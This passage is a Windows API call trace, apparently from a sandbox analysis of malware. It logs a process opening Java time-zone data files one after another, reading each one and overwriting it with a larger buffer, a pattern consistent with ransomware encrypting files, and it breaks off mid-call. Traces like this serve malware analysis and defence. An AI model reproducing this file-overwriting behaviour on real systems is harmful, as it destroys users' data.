CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh89" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\riyadh89"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.449] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.449] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x129d [0047.449] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.449] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.449] ReleaseMutex (hMutex=0x128) returned 1 [0047.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Riyadh89", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0047.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Riyadh89", cchWideChar=8, lpMultiByteStr=0x1e630ec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Riyadh89", lpUsedDefaultChar=0x0) returned 8 [0047.449] ReadFile (in: hFile=0x1ac, lpBuffer=0x276c388, nNumberOfBytesToRead=0x129d, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276c388*, lpNumberOfBytesRead=0x354f2bc*=0x129d, lpOverlapped=0x0) returned 1 [0047.483] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.483] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1825, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f2d0*=0x1825, lpOverlapped=0x0) returned 1 [0047.483] CloseHandle (hObject=0x1ac) returned 1 [0047.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Thimphu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\thimphu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0047.486] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.486] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4d [0047.486] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.486] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.486] ReleaseMutex (hMutex=0x128) returned 1 [0047.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Thimphu", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0047.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Thimphu", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thimphu", lpUsedDefaultChar=0x0) returned 7 [0047.486] ReadFile (in: hFile=0x198, lpBuffer=0x1e8f468, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f468*, lpNumberOfBytesRead=0x354f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0047.497] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.497] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0047.497] CloseHandle (hObject=0x198) returned 1 [0047.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Azores" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\azores"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0047.505] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.505] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x74c [0047.505] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.505] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.505] ReleaseMutex (hMutex=0x128) returned 1 [0047.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Azores", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Azores", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Azores", lpUsedDefaultChar=0x0) returned 6 [0047.505] ReadFile (in: hFile=0x198, lpBuffer=0x26176c8, nNumberOfBytesToRead=0x74c, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x26176c8*, lpNumberOfBytesRead=0x354f2bc*=0x74c, lpOverlapped=0x0) returned 1 [0047.535] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.535] WriteFile (in: hFile=0x198, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xcd4, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f2d0*=0xcd4, lpOverlapped=0x0) returned 1 [0047.536] CloseHandle (hObject=0x198) returned 1 [0047.536] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Adelaide" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\adelaide"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0047.536] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.536] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4c8 [0047.536] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.536] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.536] ReleaseMutex (hMutex=0x128) returned 1 [0047.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adelaide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0047.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adelaide", cchWideChar=8, lpMultiByteStr=0x1e6324c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adelaide", lpUsedDefaultChar=0x0) returned 8 [0047.537] ReadFile (in: hFile=0x198, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4c8, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x354f2bc*=0x4c8, lpOverlapped=0x0) returned 1 [0047.688] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.688] WriteFile (in: hFile=0x198, lpBuffer=0x276c388*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276c388*, lpNumberOfBytesWritten=0x354f2d0*=0xa50, lpOverlapped=0x0) returned 1 [0047.689] CloseHandle (hObject=0x198) returned 1 [0047.689] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Perth" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\perth"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0047.689] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.689] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xcd [0047.689] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.689] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.689] ReleaseMutex (hMutex=0x128) returned 1 [0047.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perth", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0047.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perth", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Perth", lpUsedDefaultChar=0x0) returned 5 [0047.690] ReadFile (in: hFile=0x198, lpBuffer=0x1daeb28, nNumberOfBytesToRead=0xcd, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daeb28*, lpNumberOfBytesRead=0x354f2bc*=0xcd, lpOverlapped=0x0) returned 1 [0047.691] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.691] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x655, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x655, lpOverlapped=0x0) returned 1 [0047.691] CloseHandle (hObject=0x198) returned 1 [0047.691] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+11" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+11"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0047.692] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.692] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1b [0047.692] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.692] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.692] ReleaseMutex (hMutex=0x128) returned 1 [0047.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+11", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+11", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT+11", lpUsedDefaultChar=0x0) returned 6 [0047.692] ReadFile (in: hFile=0x198, lpBuffer=0x1e78948, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78948*, lpNumberOfBytesRead=0x354f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0047.693] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.693] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0047.693] CloseHandle (hObject=0x198) returned 1 [0047.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-1" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0047.707] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.708] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1b [0047.708] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.708] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.708] ReleaseMutex (hMutex=0x128) returned 1 [0047.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-1", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0047.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-1", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT-1", lpUsedDefaultChar=0x0) returned 5 [0047.708] ReadFile (in: hFile=0x198, lpBuffer=0x1e78970, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78970*, lpNumberOfBytesRead=0x354f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0047.709] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.709] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0047.709] CloseHandle (hObject=0x198) returned 1 [0047.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-6" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0047.710] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.710] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1b [0047.710] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.710] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.710] ReleaseMutex (hMutex=0x128) returned 1 [0047.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-6", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0047.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-6", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT-6", lpUsedDefaultChar=0x0) returned 5 [0047.710] ReadFile (in: hFile=0x198, lpBuffer=0x1e78970, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78970*, lpNumberOfBytesRead=0x354f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0047.711] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.711] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0047.711] CloseHandle (hObject=0x198) returned 1 [0047.711] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Berlin" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\berlin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0047.712] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.712] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4d4 [0047.712] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.712] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.712] ReleaseMutex (hMutex=0x128) returned 1 [0047.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Berlin", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Berlin", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Berlin", lpUsedDefaultChar=0x0) returned 6 [0047.712] ReadFile (in: hFile=0x198, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x354f2bc*=0x4d4, lpOverlapped=0x0) returned 1 [0047.728] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.728] WriteFile (in: hFile=0x198, lpBuffer=0x1dac408*, nNumberOfBytesToWrite=0xa5c, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dac408*, lpNumberOfBytesWritten=0x354f2d0*=0xa5c, lpOverlapped=0x0) returned 1 [0047.728] CloseHandle (hObject=0x198) returned 1 [0047.728] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kaliningrad" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\kaliningrad"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0047.741] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.741] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2a9 [0047.741] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.742] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.742] ReleaseMutex (hMutex=0x128) returned 1 [0047.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kaliningrad", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kaliningrad", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kaliningrad", lpUsedDefaultChar=0x0) returned 11 [0047.742] ReadFile (in: hFile=0x184, lpBuffer=0x2739038, nNumberOfBytesToRead=0x2a9, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x354f2bc*=0x2a9, lpOverlapped=0x0) returned 1 [0047.765] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.765] WriteFile (in: hFile=0x184, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x831, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x354f2d0*=0x831, lpOverlapped=0x0) returned 1 [0047.765] CloseHandle (hObject=0x184) returned 1 [0047.765] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Oslo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\oslo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0047.776] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.776] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4c0 [0047.776] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0047.777] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.777] ReleaseMutex (hMutex=0x128) returned 1 [0047.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Oslo", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0047.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Oslo", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Oslo", lpUsedDefaultChar=0x0) returned 4 [0047.777] ReadFile (in: hFile=0x184, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4c0, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x354f2bc*=0x4c0, lpOverlapped=0x0) returned 1 [0047.799] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0047.799] WriteFile (in: hFile=0x184, lpBuffer=0x1dad498*, nNumberOfBytesToWrite=0xa48, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dad498*, lpNumberOfBytesWritten=0x354f2d0*=0xa48, lpOverlapped=0x0) returned 1 [0047.799] CloseHandle (hObject=0x184) returned 1 [0047.799] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tirane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\tirane"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 